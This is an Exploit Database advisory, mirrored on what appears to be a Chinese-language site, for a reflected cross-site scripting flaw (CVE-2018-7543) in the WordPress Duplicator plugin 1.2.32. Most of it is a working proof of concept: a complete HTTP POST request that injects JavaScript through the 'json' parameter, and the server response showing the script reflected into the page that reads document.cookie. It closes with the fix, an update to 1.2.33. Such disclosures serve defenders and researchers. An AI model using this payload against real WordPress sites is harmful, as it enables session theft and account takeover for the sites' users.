WordPress Plugin Duplicator 1.2.32 – Cross-Site Scripting

• Exploit Database
• 110 阅读

• 作者： Stefan Broeder
  日期： 2018-03-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44288/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70

  # Exploit Title : Duplicator WordPress Migration Plugin Reflected Cross Site Scripting (XSS) # Date: 25-02-2018 # Exploit Author : Stefan Broeder # Contact : https://twitter.com/stefanbroeder # Vendor Homepage: https://snapcreek.com/ # Software Link: https://wordpress.org/plugins/duplicator/ # Version: 1.2.32 # CVE : CVE-2018-7543 # Category : webapps   Description =========== Duplicator is a wordpress plugin with more than 1 million of active installations. Version 1.2.32 (and possibly previous versionss) are affected by a Reflected XSS vulnerability.   Vulnerable part of code ======================= File: duplicator/installer/build/view.step4.php:254 allows direct injection of $_POST variable &apos;json&apos;.   Impact ====== Arbitrary JavaScript code can be run on browser side if a user is tricked to click over a link or browse a URL under the attacker control.   Proof of Concept ============ In order to exploit this vulnerability, an attacker has to send the following request to the server:   POST /wp-content/plugins/duplicator/installer/build/view.step4.php HTTP/1.1 Host: <hostname> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=wp%7C1518599198<omissis> Connection: close Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 91   json=&apos;a&apos;;};document.write(alert(document.cookie));MyViewModel%3dfunction(){this.status%3d&apos;&apos;   The server replies as reported below:   HTTP/1.1 200 OK Date: Mon, 12 Feb 2018 14:15:28 GMT Server: Apache/2.4.29 (Debian) Vary: Accept-Encoding Content-Length: 10224 Connection: close Content-Type: text/html; charset=UTF-8   ...   <script> MyViewModel = function() { this.status = &apos;a&apos;;};document.write(alert(document.cookie));MyViewModel=function(){this.status=&apos;&apos;; var errorCount = this.status.step2.query_errs || 0; (errorCount >= 1 ) ? $(&apos;#dup-step3-install-report-count&apos;).css(&apos;color&apos;, &apos;#BE2323&apos;) : $(&apos;#dup-step3-install-report-count&apos;).css(&apos;color&apos;, &apos;#197713&apos;) }; ko.applyBindings(new MyViewModel()); </script>   Solution ========   Update to version 1.2.33